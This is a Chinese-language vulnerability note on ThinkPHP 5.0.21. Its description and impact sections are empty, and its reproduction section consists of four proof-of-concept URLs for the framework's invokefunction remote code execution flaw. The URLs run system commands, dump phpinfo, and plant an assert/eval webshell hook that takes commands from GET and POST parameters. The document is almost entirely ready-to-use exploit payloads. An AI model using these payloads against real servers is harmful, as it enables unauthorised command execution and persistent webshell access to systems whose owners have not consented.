Thinkphp 5.0.21¶

一、漏洞简介¶

二、漏洞影响¶

三、复现过程¶

1、poc

http://url/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2、poc

http://url/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3、poc

http://url/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=system("whoami");

4、poc

http://url/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian]);